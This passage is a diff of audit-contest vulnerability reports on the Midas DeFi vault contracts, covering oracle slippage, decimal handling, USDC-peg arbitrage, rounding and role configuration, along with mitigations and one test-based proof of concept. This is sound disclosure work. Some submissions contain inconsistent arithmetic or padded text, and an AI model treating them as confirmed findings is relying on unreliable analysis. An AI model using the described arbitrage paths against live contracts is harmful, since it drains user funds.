+Although the emission of `feeAmount` and the tracking of `mintRequests[].depositedUsdAmount` and `mintRequests[].usdAmountWithoutFees` can be used to reverse-calculate the `tokenInRate` at the request creation by:
+
+$\frac{(mintRequests[].depositedUsdAmoun - mintRequests[].usdAmountWithoutFees) * 10^{18}}{feeAmount}$
+
+There is **still an issue for users who are fee-waived (0-fee for operations)** (`waivedFeeRestriction[user] == TRUE`). In this case, the reverse calculation to obtain the `tokenInRate` **cannot be used** because `feeAmount == 0` and `mintRequests[].depositedUsdAmount == mintRequests[].usdAmountWithoutFees`.
+
+
+### Internal pre-conditions
+
+- The admin needs to call `addWaivedFeeAccount()` to flag accounts for waived fees.
+
+### External pre-conditions
+
+- The admin has the discretion to **cancel** minting/deposit requests and **choose to refund** each canceled request separately.
+- The user who created the minting/deposit request is **fee-waived**.
+
+### Impact
+
+Users suffer inaccurate token refunds when the admin cancels a request and chooses to refund, especially if the token is volatile or not pegged to a stable value. This can lead to potential losses for users if the refund amount does not match the original value at the time of the deposit.
+
+### Mitigation
+
+Adding and Tracking of the `tokenIn` amount with out fee in the Request filed and when create the deposti request
+
+```diff
+File: DepositVault.sol
+195: mintRequests[currentId] = Request({
+196: sender: user,
+197: tokenIn: tokenInCopy,
+198: status: RequestStatus.Pending,
+199: depositedUsdAmount: tokenAmountInUsd,
+200: usdAmountWithoutFees: (amountTokenWithoutFee * tokenInRate) /
+201: 10**18,
++202: amountWithoutFess: amountTokenWithoutFee,
+203: tokenOutRate: tokenOutRate
+204: });
+```
\ No newline at end of file
diff --git a/036.md b/036.md
new file mode 100644
index 0000000..d9f550f
--- /dev/null
+++ b/036.md
@@ -0,0 +1,55 @@
+Dancing Marmalade Chicken
+
+Medium
+
+# Loss of capital for LP due to lack of slippage protection
+
+### Summary
+
+Liquidity provider is forced to accept any price reported from the oracle in `MBasisRedemptionVaultWithSwapper.sol` which can lead to NAV decrease when users use this vault.
+
+### Root Cause
+
+In `_swapMBasisToMToken()` `mTbillRate` and `mTokenRate` are given by the oracle, these are used to calculate the amount of `mTokenAmount`. The LP provider is forced to accept these prices where as the user's have slippage protection since they enter a `minReceiveAmount` in `redeemInstant()`. See [L211](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/mBasis/MBasisRedemptionVaultWithSwapper.sol#L211-L222)
+
+```solidity
+ uint256 mTbillRate = mTbillRedemptionVault
+ .mTokenDataFeed()
+ .getDataInBase18();
+ uint256 mTokenRate = mTokenDataFeed.getDataInBase18();
+ mTokenAmount = (mBasisAmount * mTokenRate) / mTbillRate;
+
+ _tokenTransferFromTo(
+ address(mTbillRedemptionVault.mToken()),
+ liquidityProvider,
+ address(this),
+ mTokenAmount,
+ 18
+
+```
+
+Given that oracle prices usually vary with 0.5%-2% from the actual price, the LP must be able to somehow set a max/min value on the rates they are willing to accept or risk NAV-decrease if users swap when the oracle price over values the amount of mToken they receive.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+Small discrepancy between reported oracle price and actual value.
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Liquidity provider will have their their net-asset-value decrease since users will swap when there is a discrepancy in the oracle price that is in their favor. They can even front-run oracle updates if the profit is large enough.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Make it a two step process where the LP accepts user redeems based on users `minReceiveAmount`.
\ No newline at end of file
diff --git a/040.md b/040.md
new file mode 100644
index 0000000..62cd9a7
--- /dev/null
+++ b/040.md
@@ -0,0 +1,59 @@
+Round Glass Tardigrade
+
+Medium
+
+# Additional Functionality Available in Special Redeem Contracts Due to Inheritence
+
+### Summary
+
+There are several contracts described in docs that have special functionalities:
+- [MBasisRedemptionVaultWithBUIDL.sol](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L19)
+- [MBasisRedemptionVaultWithSwapper.sol](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/mBasis/MBasisRedemptionVaultWithSwapper.sol#L17)
+- [RedemptionVaultWithBUIDL.sol](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/mBasis/MBasisRedemptionVaultWithSwapper.sol)
+
+Because of inheritance chain aforementioned contracts have functionalities other than expected, which allows users to perform request type of redeems, which is not expected for these contracts and could led to unexpected accounting problems and funds loss by users.
+
+### Root Cause
+
+According to the documentation, there are several "special purpose contracts" like:
+- [MBasisRedemptionVaultWithBUIDL.sol](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVaultWithBUIDL.sol#L19)
+- [MBasisRedemptionVaultWithSwapper.sol](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/mBasis/MBasisRedemptionVaultWithSwapper.sol#L17)
+- [RedemptionVaultWithBUIDL.sol](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/mBasis/MBasisRedemptionVaultWithSwapper.sol)
+
+These contracts should allow performance of instant redeems with additional logic [as specified in docs](https://ludicrous-rate-748.notion.site/Special-Contract-Version-User-can-instantly-redeem-mTBILL-for-USDC-pulled-from-BUIDL-927832e82a874221996c1edcc1d94b17):
+**BUIDL**
+_The smartcontract atomically redeems BUIDL tokens for USDC if there is not enough USDC in the smartcontract. The BUIDL tokens are also held in the smartcontract._
+
+**Swapper**
+_The user redeems mBASIS instantly for USDC via both already available USDC and an mTBILL instant USDC redemption (facilitated via a mBASIS-mTBILL liquidity provider)._
+
+However, it should be observed that these _special contracts_ inherits from `RedeemVault`, and functions that are not **overwritten** are still available in these special contracts. Users are able to call following functions due to UI or documentation/integration problems:
+
+- redeemFiatRequest
+- redeemRequest
+
+These functions are for 2-step redeem flow, which should be not available in these "special" contracts. As a result, users can lock funds, which recovery would need special action from admins.
+
+### Internal pre-conditions
+
+None.
+
+### External pre-conditions
+
+None.
+
+### Attack Path
+
+Attack described in previous points.
+
+### Impact
+
+Users tokens will be locked in aforementioned special contracts. To recover them, admins will have to preserve special actions to refund users.
+
+### PoC
+
+-
+
+### Mitigation
+
+It is recommended to overwrite, not used functions so these are not available for users.
\ No newline at end of file
diff --git a/042.md b/042.md
new file mode 100644
index 0000000..5dc9366
--- /dev/null
+++ b/042.md
@@ -0,0 +1,32 @@
+Colossal Plastic Shark
+
+Medium
+
+# Ineffective Event Emission for Approved Request Redemptions and Deposits
+
+### Summary
+
+The protocol fails to emit detailed events for approved request redemptions and deposits.
+
+
+### Root Cause
+
+In [`DepositVault.approveRequest()`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L231-L238) and [`RedemptionVault.approveRequest()`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L223-L230), the current implementation **does not emit events detailing the amounts of tokens being redeemed or deposited**.
+
+The `approveRequest()` event only emits `ApproveRequest(requestId, _newTokenRate_)`, but it lacks information on the actual tokens involved (payment token for redemption, mToken for deposit) and the calculated amounts based on the admin-specified rate.
+
+According to the [`Admin can fulfill a standard mint request documentation`](https://ludicrous-rate-748.notion.site/8060186191934380800b669406f4d83c?v=35634cda6b084e2191b83f295433efdf&p=b2d81e54f6bc482ea9fbc889bbfec9ff&pm=s) and [`Admin can fulfill a standard redemption request documentation`](https://ludicrous-rate-748.notion.site/8060186191934380800b669406f4d83c?v=35634cda6b084e2191b83f295433efdf&p=1ad02733634b432f97094ac3748efd37&pm=s):
+> The admin actions will eventually be reported to the user in a transaction history dashboard (we may need to emit an event)
+
+Event emission plays a crucial role, so it is important to emit all relevant fields, including the amounts of tokens involved in the transaction.
+
+
+### Impact
+
+Users are unable to see the specific amounts of tokens involved in their fullfilled request operation.
+
+
+### Mitigation
+
+Update the event emission logic to include detailed information on the token output amounts after fulfilling the request.
+
diff --git a/043.md b/043.md
new file mode 100644
index 0000000..2ffaf4c
--- /dev/null
+++ b/043.md
@@ -0,0 +1,61 @@
+Hollow Hickory Troll
+
+Medium
+
+# When `feePercent` equals `ONE_HUNDRED_PERCENT`, the protocol cannot deposit
+
+## Summary
+
+When `feePercent` equals `ONE_HUNDRED_PERCENT`, the protocol checks if `mintAmount > 0`, which prevents the protocol from proceeding with the deposit.
+
+## Vulnerability Detail
+In the `_getFeeAmount()` function, if `feePercent > ONE_HUNDRED_PERCENT`, then `feePercent` is set to `ONE_HUNDRED_PERCENT`.
+
+```solidity
+
+ if (feePercent > ONE_HUNDRED_PERCENT) feePercent = ONE_HUNDRED_PERCENT;
+
+```
+
+As a result, `FeeAmount = (amount * feePercent) / ONE_HUNDRED_PERCENT = amount`.
+
+```solidity
+ return (amount * feePercent) / ONE_HUNDRED_PERCENT;
+
+```
+
+
+ In the `_calcAndValidateDeposit()` function, `amountTokenWithoutFee` would be `0`, which means the calculated `mTokenAmount` would also be `0`.
+```solidity
+ amountTokenWithoutFee = amountToken - feeTokenAmount;
+
+ uint256 feeInUsd = (feeTokenAmount * tokenInRate) / 10**18;
+
+ (uint256 mTokenAmount, uint256 mTokenRate) = _convertUsdToMToken(
+ tokenAmountInUsd - feeInUsd
+ );
+ mintAmount = mTokenAmount;
+ tokenOutRate = mTokenRate;
+
+
+```
+
+ However, the protocol later checks if `mintAmount > 0`, which contradicts the logic of setting `feePercent` to `ONE_HUNDRED_PERCENT`.
+```solidity
+ require(mintAmount > 0, "DV: invalid mint amount");
+
+```
+
+
+## Impact
+The logic implemented in the protocol is inconsistent.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/abstract/ManageableVault.sol#L538
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Ensure that `feePercent < ONE_HUNDRED_PERCENT`.
\ No newline at end of file
diff --git a/048.md b/048.md
new file mode 100644
index 0000000..44017df
--- /dev/null
+++ b/048.md
@@ -0,0 +1,21 @@
+Boxy Flint Blackbird
+
+Medium
+
+# The protocol uses the BTC/USD pricefeed for WBTC, which is problematic if WBTC depegs from BTC
+
+## Summary
+WBTC uses the BTC/USD chainlink pricefeed which will be problematic if WBTC depegs from BTC
+## Vulnerability Detail
+As we know, on Ethereum Mainnet there is no [WBTC/USD](https://docs.chain.link/data-feeds/price-feeds/addresses?network=ethereum&page=1&search=wbt) price feed, which means that the protocol uses BTC/USD price feed for the Eth Mainnet. This is bad because in case of [WBTC depegging](https://thedefiant.io/news/defi/wbtc-depeg) from BTC, the users will eventually be minted more `mToken` than deserved, ultimately receiving more value of `mToken` for less value assets. This event is rare but possible to happen again like in 2022, especially in wild market swing or in unstable market conditions.
+## Impact
+Users will deposit WBTC at unreal rate, and receive more `mToken` than deserved
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/feeds/DataFeed.sol#L96-L115
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Check which of the networks you are going to deploy to doesn't have WBTC/USD price feed and collect the WBTC price using the WBTC/BTC feed and BTC/USD feed, as source of truth.
\ No newline at end of file
diff --git a/051.md b/051.md
new file mode 100644
index 0000000..1233b12
--- /dev/null
+++ b/051.md
@@ -0,0 +1,102 @@
+Dancing Olive Rhino
+
+High
+
+# Users will receive incorrect amounts of `mTokens due to inconsistent handling of token decimals
+
+### Summary
+
+Inconsistent handling of token decimals for USDC (6 decimals) and WBTC (8 decimals) will cause an incorrect calculation of mToken amounts for users as the contract assumes all token amounts are in 18 decimals, regardless of the actual token decimals.
+
+The protocol team mentioned that in README that:
+> The protocol only accepts whitelisted tokens (e.g. USDC, WBTC, mTBILL, mBASIS
+
+### Root Cause
+
+In [contracts/DepositVault.sol:69-105](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L96-L105) and [contracts/DepositVault.sol:369-372](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L369-L372), the contract fails to normalize token amounts to 18 decimals before performing calculations, leading to incorrect USD and mToken amount calculations.
+
+### Internal pre-conditions
+
+1. USDC (6 decimals) or WBTC (8 decimals) needs to be used for deposit.
+2. User needs to call [`depositInstant()`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L78-L144) or [`depositRequest()`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L148-L214) with either USDC or WBTC.
+
+### External pre-conditions
+
+None.
+
+### Attack Path
+
+1. User calls `depositInstant()` with either 1,000,000 USDC (6 decimals, equivalent to $1,000,000) or 1 WBTC (8 decimals, equivalent to ~$30,000 assuming 1 BTC = $30,000).
+2. `_calcAndValidateDeposit()` is called, which retrieves the token's decimals (6 for USDC, 8 for WBTC) but doesn't use it.
+3. `_convertTokenToUsd()` treats the input amount as if it were in 18 decimals.
+4. The function calculates USD amount as if 1,000,000 * 10^18 USDC or 1 * 10^18 WBTC were deposited.
+5. This results in a grossly overestimated USD amount for USDC and a slightly overestimated amount for WBTC.
+6. Based on these incorrect USD amounts, excessive amounts of mTokens are minted to the user.
+
+### Impact
+
+The protocol suffers significant losses as users can receive up to 10^12 times more mTokens than they should for USDC and 10^10 times more for WBTC. The attacker gains these excess amounts of mTokens.
+
+### PoC
+
+Scenario 1: Alice deposits 1,000,000 USDC (equivalent to $1,000,000):
+
+1. Alice calls `depositInstant(USDC_ADDRESS, 1000000, minReceiveAmount, referrerId)`.
+2. In `_calcAndValidateDeposit()`:
+ - `tokenDecimals = 6` (for USDC)
+ - `amountToken = 1000000`
+3. In `_convertTokenToUsd()`:
+ - `amount = 1000000` (treated as 18 decimals)
+ - `rate = 1 * 10^18` (assuming 1 USDC = 1 USD)
+ - `amountInUsd = (1000000 * 10^18 * 1 * 10^18) / 10^18 = 1000000 * 10^18`
+4. This incorrectly calculates that Alice deposited $1,000,000 * 10^18 worth of USDC.
+5. mTokens are minted based on this grossly overestimated amount.
+
+Scenario 2: Bob deposits 1 WBTC (equivalent to ~$30,000):
+
+1. Bob calls `depositInstant(WBTC_ADDRESS, 100000000, minReceiveAmount, referrerId)`.
+2. In `_calcAndValidateDeposit()`:
+ - `tokenDecimals = 8` (for WBTC)
+ - `amountToken = 100000000` (1 WBTC)
+3. In `_convertTokenToUsd()`:
+ - `amount = 100000000` (treated as 18 decimals)
+ - `rate = 30000 * 10^18` (assuming 1 WBTC = $30,000)
+ - `amountInUsd = (100000000 * 30000 * 10^18) / 10^18 = 3000000000000000`
+4. This incorrectly calculates that Bob deposited $3,000,000,000,000,000 worth of WBTC.
+5. mTokens are minted based on this grossly overestimated amount.
+
+
+### Mitigation
+
+To fix this issue, we need to normalize the token amount to 18 decimals before performing calculations. Here's the proposed fix:
+
+```diff
+function _convertTokenToUsd(address tokenIn, uint256 amount, uint256 tokenDecimals)
+ internal
+ view
+ returns (uint256 amountInUsd, uint256 rate)
+{
+ require(amount > 0, "DV: amount zero");
+
+ TokenConfig storage tokenConfig = tokensConfig[tokenIn];
+
+ rate = _getTokenRate(tokenConfig.dataFeed, tokenConfig.stable);
+ require(rate > 0, "DV: rate zero");
+
+++ // Normalize amount to 18 decimals
+++ uint256 normalizedAmount = amount * 10**(18 - tokenDecimals);
+
+-- amountInUsd = (amount * rate) / (10**18);
+++ amountInUsd = (normalizedAmount * rate) / (10**18);
+}
+```
+
+Also, update the `_calcAndValidateDeposit` function to pass the `tokenDecimals`:
+
+```diff
+(uint256 amountInUsd, uint256 tokenInUSDRate) = _convertTokenToUsd(
+ tokenIn,
+ amountToken,
+++ tokenDecimals
+);
+```
diff --git a/058.md b/058.md
new file mode 100644
index 0000000..91b98ca
--- /dev/null
+++ b/058.md
@@ -0,0 +1,22 @@
+Mythical Ebony Nightingale
+
+Medium
+
+# First Deposit Threshold Inconsistency Impairs New User Acquisition
+
+## Summary
+DepositVault's implementation of the initial deposit **agreement** for new participants **is** **different** from the design, **which leads** **to** **invalid** **usage** and **affects** **users'** **system** **standard** **participation.** DepositVault **is** **unable** to **meet** the minimum deposit **requirements** for new users due to inconsistencies in the records:
+## Vulnerability Detail
+DepositVault's implementation of the initial deposit **agreement** for new participants **is** **different** from the design, **which** **leads** **to** **invalid** **usage** and **affects** **users'** **system** **standard** **participation.** DepositVault **is** **unable** to **meet** the minimum deposit **requirements** for new users due to **inconsistencies** **in** the records:
+
+Alot of comments contradict eachother, one says the min is in usd and the actual implementation compare the mToken given to the user with the min, this way the implementation would compare the mToken(that maybe 100$) with the min 120,000 from docs which will cause the min to be much higher
+
+if the comment is outdated, and the minAmount variable is in mToken and not usd, then the min amount would change according to the change of the price leading to regulatory problems and unfair process
+## Impact
+Breaks core functionality of the intended design
+
+## Tool used
+Manual auditing
+
+## Recommendation
+get the usd value by * Rate from the mintAmount
\ No newline at end of file
diff --git a/062.md b/062.md
new file mode 100644
index 0000000..12a2d44
--- /dev/null
+++ b/062.md
@@ -0,0 +1,54 @@
+Colossal Maroon Nuthatch
+
+High
+
+# 0.997 and 1.003 USDC peg implementation allows for arbitraging
+
+## Summary
+usdc is assumed to be 1 to 1 usd at 0.997 and 1.003 rates, allowing for MEV to drain funds by arbitraging the price difference instantly
+## Vulnerability Detail
+in `ManageableVault` we have function `_getTokenRate`
+
+```solidity
+File: ManageableVault.sol
+603: function _getTokenRate(address dataFeed, bool stable)
+604: internal
+605: view
+606: returns (uint256)
+607: {
+608: // @dev if dataFeed returns rate, all peg checks passed
+609: uint256 rate = IDataFeed(dataFeed).getDataInBase18();
+610:
+611: if (stable) return STABLECOIN_RATE;
+612:
+613: return rate;
+614: }
+```
+Its used to return the rate of the token passed to usd (basically the price) from the chainlink oracle
+
+[in Here](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/feeds/DataFeed.sol#L107-L109) The checks are that if min and max are 0.997 and 1.003 then the txn don't revert
+
+and in `_getTokenRate` we return `STABLECOIN_RATE` which is 1e18 (rate) if its stable
+
+now the problem is that associated with those flags, a user can do the following:
+1. `depositInstant` 200K usdc -> 199,400usd value -> 200,000 USD value of mToken (fees as minimum would be 40 USD)
+2. `redeemInstant` 200,000 USD value of mToken (fees as minimum would be 40 USD) -> 200,000 USD value of FIAT
+ - or he can redeem it for 200K USD value of WBTC
+
+This is clearly leakage of value as this can be repeated multiple times.
+
+**Constraints** are low fees of the protocol, the user being `greenlisted` or `greenlistEnabled` is false, the peg is not very close to 1 to 1
+
+All values above are viable scenarios described by the protocol in their readMe and their Notion link
+
+Txn fees are accounted for as l2 (ie arbitrum, thats why i neglected it)
+## Impact
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/abstract/ManageableVault.sol#L603-L614
+## Tool used
+
+Manual Review
+
+## Recommendation
+return the usdc -> usd rate and account the amount with it, don't assume the 1 to 1 cause it will lead to arbitraging and leakage of funds
\ No newline at end of file
diff --git a/068.md b/068.md
new file mode 100644
index 0000000..f3a33bd
--- /dev/null
+++ b/068.md
@@ -0,0 +1,48 @@
+Mythical Grape Cow
+
+High
+
+# `minAmount` variable will cause reverts for users in `MBasisRedemptionVaultWithSwapper` flow
+
+## Summary
+`minAmount` will cause multiple txn reverts for users that already passing above it
+## Vulnerability Detail
+First we want to understand `minAmount`
+
+This is a variable set by the owner as [mentioned here](https://ludicrous-rate-748.notion.site/Admin-can-adjust-Global-Parameters-42afde9e098b42ef8296e43286b73299#:~:text=crypto_redemption.%20Similarly%20to%20the%20minting%20minimum%2C%20we%20want%20to%20limit%20redemptions%20to%20a%20minimum.%20This%20can%20be%20set%20in%20TOKEN.) to limit `very small deposits`
+
+but this variable may cause problems in `MBasisRedemptionVaultWithSwapper`
+
+Here is How:
+1. User wants to redeem `MBasis` for `USDC` from `MBasisRedemptionVaultWithSwapper`
+2. this contract has `minAmount` variable to be 2e18
+3. the user calls `redeemInstant` with 2e18 (which is > minAmount) and the check will pass in `_calcAndValidateRedeem`
+4. Fees substracted from are (for example 50%) and the `amountMTokenWithoutFee` will be 1e18
+5. now the problem happens when we trigger the swapping logic
+6. according to the Rate of both tokens we may get returned back 5e17 mToken
+7. no [in Here](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/mBasis/MBasisRedemptionVaultWithSwapper.sol#L154-L158) we `redeemInstant` from `mTbillRedemptionVault` with 5e17
+8. The problem here would be according to scenarios
+ 1. If `minAmount` is Global Variable whatever the type of token is, then the user would pass the first `minAmount` but not the second `minAmount` check in `mTbillRedemptionVault` due to rate changes from token to token
+ 2. if `minAmount` is set unique per every vault(and it takes into consideration the rate of Tokens), then substracting fees from `amountOfMToken` passed in `MBasisRedemptionVaultWithSwapper` would cause a revert in `mTbillRedemptionVault` `minAmount` check
+
+The above scenario mentioned clearly shows how two `minAmounts` contradict each others
+
+as i see from the invariant Link in the readMe
+
+> The smartcontract would be on list of addresses that have their fees waived for mTBILL. The USDC is then transferred to the user.
+
+Its clearly mentioned to add `MBasisRedemptionVaultWithSwapper` to `waivedFeeRestriction` but nothing about adding it to `isFreeFromMinAmount`
+
+and from the website Docs, we see that `isFreeFromMinAmount` is for special investors and nothing mentioned about this contract being in it like the above `waivedFeeRestriction` mentioned exception
+> _Professional Investors under MiFID are exempt from any minimums._
+## Impact
+multiple txn reverts and core functionality broken
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/mBasis/MBasisRedemptionVaultWithSwapper.sol#L105
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/RedemptionVault.sol#L496-L499
+## Tool used
+
+Manual Review
+
+## Recommendation
+add `MBasisRedemptionVaultWithSwapper` to `isFreeFromMinAmount`
\ No newline at end of file
diff --git a/070.md b/070.md
new file mode 100644
index 0000000..f26fefa
--- /dev/null
+++ b/070.md
@@ -0,0 +1,127 @@
+Helpful Wooden Porpoise
+
+Medium
+
+# The calculation of price deviation is rounded wrongly
+
+## Summary
+The new price can pass the tolerance check even when the price deviation might exceed `variationTolerance` due to incorrect rounding.
+## Vulnerability Detail
+When instant minting/redeeming feature is not available, eligible user is allowed to use standard functions to request mToken minting or redeeming.
+Once the request is submitted, the admin can approve the request via two ways:
+- `approveRequest()`: the admin submits the price of `mToken`, and the subsequent calculation will rely on this value.
+- `safeApproveRequest()`: the admin submits the price of `mToken`, and the request can only be executed if the price deviation does not exceed `variationTolerance`
+The price deviation is calculated as below:
+```solidity
+ function _requireVariationTolerance(uint256 prevPrice, uint256 newPrice)
+ internal
+ view
+ {
+ uint256 priceDif = newPrice >= prevPrice
+ ? newPrice - prevPrice
+ : prevPrice - newPrice;
+
+@> uint256 priceDifPercent = (priceDif * ONE_HUNDRED_PERCENT) / prevPrice;
+
+ require(
+ priceDifPercent <= variationTolerance,
+ "MV: exceed price diviation"
+ );
+ }
+```
+As we can see, rounding down is used for price deviation calculation, this may result in a invalid price passing the validation. Let's take a look at an example below:
+```math
+\begin{align*}
+tolearance &= 1 \\
+price_{prev} &= 5e18 \\
+price_{new} &= 5.0009e18 \\
+deviation &= (price_{new} - price_{prev}) * 10000 / price_{prev} \\
+&= (5.0009e18 - 5e18) * 10000 / 5e18 \\
+&= 1.8 \\
+\end{align*}
+```
+The price deviation should be $\frac{1.8}{10000}$, which is larger than $\frac{1}{10000}$, and the function `_requireVariationTolerance()` should revert. However, the validation passes because of rounding down.
+
+Copy below codes to [DepositVault.test.ts](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/test/DepositVault.test.ts) to test it:
+```solidity
+ it('should revert: if new rate greater then variabilityTolerance', async () => {
+ const {
+ owner,
+ depositVault,
+ stableCoins,
+ mTBILL,
+ dataFeed,
+ mTokenToUsdDataFeed,
+ mockedAggregator,
+ mockedAggregatorMToken,
+ } = await loadFixture(defaultDeploy);
+ await mintToken(stableCoins.dai, owner, 100);
+ await approveBase18(owner, stableCoins.dai, depositVault, 100);
+ await addPaymentTokenTest(
+ { vault: depositVault, owner },
+ stableCoins.dai,
+ dataFeed.address,
+ 0,
+ true,
+ );
+ await setRoundData({ mockedAggregator }, 1.03);
+ await setRoundData({ mockedAggregator: mockedAggregatorMToken }, 5);
+ await setMinAmountTest({ vault: depositVault, owner }, 10);
+
+ await depositRequestTest(
+ { depositVault, owner, mTBILL, mTokenToUsdDataFeed },
+ stableCoins.dai,
+ 100,
+ );
+ const requestId = 0;
+ const request = await depositVault.mintRequests(requestId);
+ //@audit-info previous price is 5e18
+ expect(request.tokenOutRate).eq(parseUnits('5'));
+ //@audit-info tolerance is 1 (1/10000)
+ expect(await depositVault.variationTolerance()).eq(1);
+ //@audit-info (5.0009 - 5) / 5 = 1.8/10000. it should revert but succeed due to rounding down calculation
+ await safeApproveRequestTest(
+ {
+ depositVault,
+ owner,
+ mTBILL,
+ mTokenToUsdDataFeed,
+ },
+ requestId,
+ parseUnits('5.0009'),
+ {
+ revertMessage: 'MV: exceed price diviation',
+ },
+ );
+ });
+ });
+```
+## Impact
+User might receive less asset than expected when either `DepositVault#safeApproveRequest()` or `RedemptionVault#safeApproveRequest()` is called to approve the standard request.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/abstract/ManageableVault.sol#L548-L562
+## Tool used
+
+Manual Review
+
+## Recommendation
+The price deviation should be rounded up:
+```diff
+ function _requireVariationTolerance(uint256 prevPrice, uint256 newPrice)
+ internal
+ view
+ {
+ uint256 priceDif = newPrice >= prevPrice
+ ? newPrice - prevPrice
+ : prevPrice - newPrice;
+
+- uint256 priceDifPercent = (priceDif * ONE_HUNDRED_PERCENT) / prevPrice;
++ uint256 priceDifPercent = (priceDif * ONE_HUNDRED_PERCENT + prevPrice - 1) / prevPrice;
+
+ require(
+ priceDifPercent <= variationTolerance,
+ "MV: exceed price diviation"
+ );
+ }
+```
\ No newline at end of file
diff --git a/076.md b/076.md
new file mode 100644
index 0000000..1d967eb
--- /dev/null
+++ b/076.md
@@ -0,0 +1,29 @@
+Helpful Wooden Porpoise
+
+Medium
+
+# `mTBILL` liquidity providers receive no any incentives
+
+## Summary
+`mTBILL` liquidity providers receive no any incentives
+## Vulnerability Detail
+[`MBasisRedemptionVaultWithSwapper#redeemInstant()`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/mBasis/MBasisRedemptionVaultWithSwapper.sol#L88-L180) allows eligible user to redeem `mBASIS` for `USDC`.
+Once the `USDC` balance in `MBasisRedemptionVaultWithSwapper` is not enough, `mBASIS` will be swapped to `mTBILL` through `liquidityProvider`, then `mTBILL` will be redeemed for `USDC` through `mTbillRedemptionVault#redeemInstant()`.
+Since `mTBILL` needs to be deposited in `liquidityProvider` as liquidity, it is reasonable that the `liquidityProvider` should receive incentive when their liquidity are used. Midas also stated this point in [their specification](https://ludicrous-rate-748.notion.site/Special-Contract-Version-User-can-instantly-redeem-mBASIS-for-USDC-via-a-mBASIS-mTBILL-swap-and-an-57e8d19b1c2242e8af50db5c8592532b):
+>Separately from the smartcontract, the liquidity provider will receive most of the fees instant redemption feature applied on mBASIS
+
+However, `redeemInstant()` send all fees to `feeReceiver`:
+```solidity
+131: if (feeAmount > 0)
+132: _tokenTransferFromUser(address(mToken), feeReceiver, feeAmount, 18);
+```
+## Impact
+No one is willing to provide `mTBILL` liquidity since they receive no any incentives.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/mBasis/MBasisRedemptionVaultWithSwapper.sol#L131-L132
+## Tool used
+
+Manual Review
+
+## Recommendation
+A portion or all of the `feeAmount` should be transferred to `liquidityProvider` as an incentive when `mBASIS` tokens are swapped for `mTBILL` through `liquidityProvider`.
\ No newline at end of file
diff --git a/077.md b/077.md
new file mode 100644
index 0000000..138d3f6
--- /dev/null
+++ b/077.md
@@ -0,0 +1,59 @@
+Boxy Flint Blackbird
+
+High
+
+# All of the `mBASIS` vaults are practically unusable, and can't be controlled by admin
+
+## Summary
+All of the `mBASIS` related vaults can't be controlled by the vault admin because of the poor usage of access control
+## Vulnerability Detail
+In the both the `mBasisDepositVault` and `mBasisRedemptionVault` the `vaultRole()` function is overriden like this:
+`MBasisDepositVault::vaultRole()`:
+```javascript
+ function vaultRole() public pure override returns (bytes32) {
+ return M_BASIS_DEPOSIT_VAULT_ADMIN_ROLE;
+ }
+```
+`MBasisRedemptionVault::vaultRole()`:
+```javascript
+ function vaultRole() public pure override returns (bytes32) {
+ return M_BASIS_REDEMPTION_VAULT_ADMIN_ROLE;
+ }
+```
+This means that the admin of these vaults wouldn't be able to control them (Set values, accept/reject requests, etc.), because there is no line in the code that gives this role to him, meaning that all of the `set` function + accept/reject request functions will revert because he doesn't have this role
+
+## Impact
+All of the `mBASIS` related vaults are practically unusable
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/mBasis/MBasisDepositVault.sol#L11
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/mBasis/MBasisRedemptionVault.sol#L11
+
